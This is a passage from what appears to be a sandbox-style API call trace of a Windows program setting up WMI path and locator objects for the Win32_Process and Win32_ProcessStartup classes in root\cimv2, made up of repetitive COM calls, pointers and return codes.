(in: This=0x1b482230, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29aaa38*=19, plFlavor=0x29aaa3c*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f4, varVal2=0x0), pType=0x29aaa38*=19, plFlavor=0x29aaa3c*=0) returned 0x0 [0113.964] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0113.964] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0113.964] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0113.964] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.967] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d1880) returned 0x0 [0113.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1880, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0113.968] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1880, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4b01e0) returned 0x0 [0113.968] WbemDefPath:IUnknown:Release (This=0x1b4d1880) returned 0x0 [0113.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4b01e0) returned 0x0 [0113.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0113.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0113.968] WbemDefPath:IUnknown:AddRef (This=0x1b4b01e0) returned 0x3 [0113.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0113.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0113.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d18e0) returned 0x0 [0113.968] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d18e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.968] WbemDefPath:IUnknown:Release (This=0x1b4d18e0) returned 0x3 [0113.968] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0113.968] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0113.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0113.968] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x2 [0113.969] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x1 [0113.969] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0113.969] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0113.969] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4b01e0) returned 0x0 [0113.969] WbemDefPath:IUnknown:AddRef (This=0x1b4b01e0) returned 0x3 [0113.969] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x2 [0113.969] WbemDefPath:IWbemPath:SetText (This=0x1b4b01e0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0113.969] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0113.969] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0113.969] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0113.969] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b01e0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0113.969] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0113.969] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b01e0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0113.969] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0113.969] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0113.969] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0113.969] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.970] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d1960) returned 0x0 [0113.970] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1960, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0113.970] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1960, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4af520) returned 0x0 [0113.970] WbemDefPath:IUnknown:Release (This=0x1b4d1960) returned 0x0 [0113.970] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4af520) returned 0x0 [0113.970] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0113.970] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0113.971] WbemDefPath:IUnknown:AddRef (This=0x1b4af520) returned 0x3 [0113.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0113.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0113.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d2280) returned 0x0 [0113.971] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2280, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.971] WbemDefPath:IUnknown:Release (This=0x1b4d2280) returned 0x3 [0113.971] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0113.971] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0113.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0113.971] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x2 [0113.971] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x1 [0113.971] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0113.971] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0113.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4af520) returned 0x0 [0113.971] WbemDefPath:IUnknown:AddRef (This=0x1b4af520) returned 0x3 [0113.971] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x2 [0113.971] WbemDefPath:IWbemPath:SetText (This=0x1b4af520, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0113.971] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af520, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0113.971] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0113.971] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0113.972] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af520, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0113.972] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af520, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0113.972] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af520, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0113.972] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af520, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0113.972] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0113.972] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0113.972] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0113.972] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0113.972] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0113.972] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0113.972] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.973] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b4d2160) returned 0x0 [0113.973] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2160, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0113.973] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2160, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4b0660) returned 0x0 [0113.973] WbemDefPath:IUnknown:Release (This=0x1b4d2160) returned 0x0 [0113.973] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4b0660) returned 0x0 [0113.973] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0113.973] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0113.973] WbemDefPath:IUnknown:AddRef (This=0x1b4b0660) returned 0x3 [0113.973] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0113.973] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0113.973] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b4d2320) returned 0x0 [0113.973] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2320, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0113.973] WbemDefPath:IUnknown:Release (This=0x1b4d2320) returned 0x3 [0113.973] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0113.973] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0113.974] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0113.974] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x2 [0113.974] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x1 [0113.974] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0113.974] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0113.974] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4b0660) returned 0x0 [0113.974] WbemDefPath:IUnknown:AddRef (This=0x1b4b0660) returned 0x3 [0113.974] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x2 [0113.974] WbemDefPath:IWbemPath:SetText (This=0x1b4b0660, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0113.974] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0113.974] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0113.974] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0113.974] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0113.974] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0113.974] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0113.974] IUnknown:Release (This=0x6124e8) returned 0x1 [0113.975] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b4d23e0) returned 0x0 [0113.975] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d23e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0113.975] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d23e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4d2140) returned 0x0 [0113.975] WbemLocator:IUnknown:Release (This=0x1b4d23e0) returned 0x0 [0113.975] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2140, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4d2140) returned 0x0 [0113.975] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2140, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, 